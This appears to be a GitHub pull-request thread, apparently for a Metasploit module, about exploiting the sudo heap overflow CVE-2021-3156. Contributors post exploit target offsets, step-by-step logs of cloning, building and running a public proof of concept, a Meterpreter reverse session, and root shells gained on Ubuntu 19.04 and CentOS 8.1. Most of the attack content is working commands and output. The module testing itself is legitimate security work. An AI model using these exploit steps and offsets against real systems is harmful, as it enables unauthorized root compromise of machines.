[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (564 bytes) ...
[*] Sending stage (3008420 bytes) to 172.16.191.133
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.133:60694) at 2021-02-05 01:49:10 -0500


meterpreter > 
meterpreter > getuid
Server username: root @ debian-10-0-0-x64 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : debian-10-0-0-x64.local
OS           : Debian 10.0 (Linux 4.19.0-5-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

@bcoles
Copy link
Contributor

bcoles commented Feb 12, 2021

Also, 19.04 is vulnerable too ;) BR https://www.youtube.com/watch?v=qs0XHTvtt_c

Thanks @nu11secur1ty, if you want to send us the offsets and versions that would be helpful. I'm planning on adding additional targets next week.

The offsets for Ubuntu 19.04 are the same as Ubuntu 18.04 and Ubuntu 20.04 in blasty's exploit.

    {
        // Yes, same values as 20.04.1, but also confirmed.
        .target_name    = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63,
        .lc_all_len     = 212
    },
    {
        .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63,
        .lc_all_len     = 212
    },

Ubuntu 19.04, GLIBC 2.29-0ubuntu2, sudo 1.8.27

test@ubuntu-19-04-x64:~$ git clone https://github.com/blasty/CVE-2021-3156/
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Unpacking objects: 100% (50/50), done.
test@ubuntu-19-04-x64:~$ cd CVE-2021-3156/
test@ubuntu-19-04-x64:~/CVE-2021-3156$ ls
brute.sh  hax.c  lib.c	Makefile  README.md
test@ubuntu-19-04-x64:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test@ubuntu-19-04-x64:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <[email protected]>

using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
# uname -a
Linux ubuntu-19-04-x64 5.0.0-37-generic #40-Ubuntu SMP Thu Nov 14 00:14:01 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=19.04
DISTRIB_CODENAME=disco
DISTRIB_DESCRIPTION="Ubuntu 19.04"
# sudo --version
Sudo version 1.8.27
Configure options: --build=x86_64-linux-gnu --prefix=/usr --includedir=${prefix}/include --mandir=${prefix}/share/man --infodir=${prefix}/share/info --sysconfdir=/etc --localstatedir=/var --disable-silent-rules --libdir=${prefix}/lib/x86_64-linux-gnu --libexecdir=${prefix}/lib/x86_64-linux-gnu --disable-maintainer-mode --disable-dependency-tracking -v --with-all-insults --with-pam --with-fqdn --with-logging=syslog --with-logfac=authpriv --with-env-editor --with-editor=/usr/bin/editor --with-exampledir=/usr/share/doc/sudo/examples --with-timeout=15 --with-password-timeout=0 --with-passprompt=[sudo] password for %p:  --without-lecture --with-tty-tickets --disable-root-mailer --enable-admin-flag --with-sendmail=/usr/sbin/sendmail --with-rundir=/run/sudo --libexecdir=/usr/lib/sudo --with-sssd --with-sssd-lib=/usr/lib/x86_64-linux-gnu --with-selinux --with-linux-audit --enable-tmpfiles.d=yes
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46

Sudoers path: /etc/sudoers
Authentication methods: 'pam'
Syslog facility if syslog is being used for logging: authpriv
Syslog priority to use when user authenticates successfully: notice
Syslog priority to use when user authenticates unsuccessfully: alert
Send mail if user authentication fails
Send mail if the user is not in sudoers
Lecture user the first time they run sudo
Require users to authenticate by default
Root may run sudo
Allow some information gathering to give useful error messages
Require fully-qualified hostnames in the sudoers file
Visudo will honor the EDITOR environment variable
Set the LOGNAME and USER environment variables
Length at which to wrap log file lines (0 for no wrap): 80
Authentication timestamp timeout: 15.0 minutes
Password prompt timeout: 0.0 minutes
Number of tries to enter a password: 3
Umask to use or 0777 to use user's: 022
Path to mail program: /usr/sbin/sendmail
Flags for mail program: -t
Address to send mail to: root
Subject line for mail messages: *** SECURITY information for %h ***
Incorrect password message: Sorry, try again.
Path to lecture status dir: /var/lib/sudo/lectured
Path to authentication timestamp dir: /run/sudo/ts
Default password prompt: [sudo] password for %p: 
Default user to run commands as: root
Value to override user's $PATH with: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
Path to the editor for use by visudo: /usr/bin/editor
When to require a password for 'list' pseudocommand: any
When to require a password for 'verify' pseudocommand: all
File descriptors >= 3 will be closed before executing a command
Reset the environment to a default set of variables
Environment variables to check for sanity:
	TZ
	TERM
	LINGUAS
	LC_*
	LANGUAGE
	LANG
	COLORTERM
Environment variables to remove:
	*=()*
	RUBYOPT
	RUBYLIB
	PYTHONUSERBASE
	PYTHONINSPECT
	PYTHONPATH
	PYTHONHOME
	TMPPREFIX
	ZDOTDIR
	READNULLCMD
	NULLCMD
	FPATH
	PERL5DB
	PERL5OPT
	PERL5LIB
	PERLLIB
	PERLIO_DEBUG 
	JAVA_TOOL_OPTIONS
	SHELLOPTS
	BASHOPTS
	GLOBIGNORE
	PS4
	BASH_ENV
	ENV
	TERMCAP
	TERMPATH
	TERMINFO_DIRS
	TERMINFO
	_RLD*
	LD_*
	PATH_LOCALE
	NLSPATH
	HOSTALIASES
	RES_OPTIONS
	LOCALDOMAIN
	CDPATH
	IFS
Environment variables to preserve:
	XAUTHORIZATION
	XAUTHORITY
	PS2
	PS1
	PATH
	LS_COLORS
	KRB5CCNAME
	HOSTNAME
	HOME
	DPKG_COLORS
	DISPLAY
	COLORS
Locale to use while parsing sudoers: C
Directory in which to store input/output logs: /var/log/sudo-io
File in which to store the input/output log: %{seq}
Add an entry to the utmp/utmpx file when allocating a pty
PAM service name to use: sudo
PAM service name to use for login shells: sudo
Attempt to establish PAM credentials for the target user
Create a new PAM session for the command to run in
Maximum I/O log sequence number: 0
Enable sudoers netgroup support
Check parent directories for writability when editing files with sudoedit
Allow commands to be run even if sudo cannot write to the audit log
Allow commands to be run even if sudo cannot write to the log file
Log entries larger than this value will be split into multiple syslog messages: 960
File mode to use for the I/O log files: 0600
Execute commands by file descriptor instead of by path: digest_only
Type of authentication timestamp record: tty
Ignore case when matching user names
Ignore case when matching group names

Local IP address and netmask pairs:
	172.16.191.191/255.255.255.0
	fe80::18d2:4def:71b:a6ea/ffff:ffff:ffff:ffff::

Sudoers I/O plugin version 1.8.27
# ldd --version
ldd (Ubuntu GLIBC 2.29-0ubuntu2) 2.29
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
# 

@bcoles
Copy link
Contributor

bcoles commented Mar 17, 2021

New exploit is available for several platforms.

Confirmed it works on CentOs 8.1:

[test@centos-8-1-1911 CVE-2021-3156]$ id
uid=1002(test) gid=1002(test) groups=1002(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[test@centos-8-1-1911 CVE-2021-3156]$ ./exploit_nss.py 
[root@centos-8-1-1911 CVE-2021-3156]# id
uid=0(root) gid=0(root) groups=0(root),1002(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@centos-8-1-1911 CVE-2021-3156]# 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

7 participants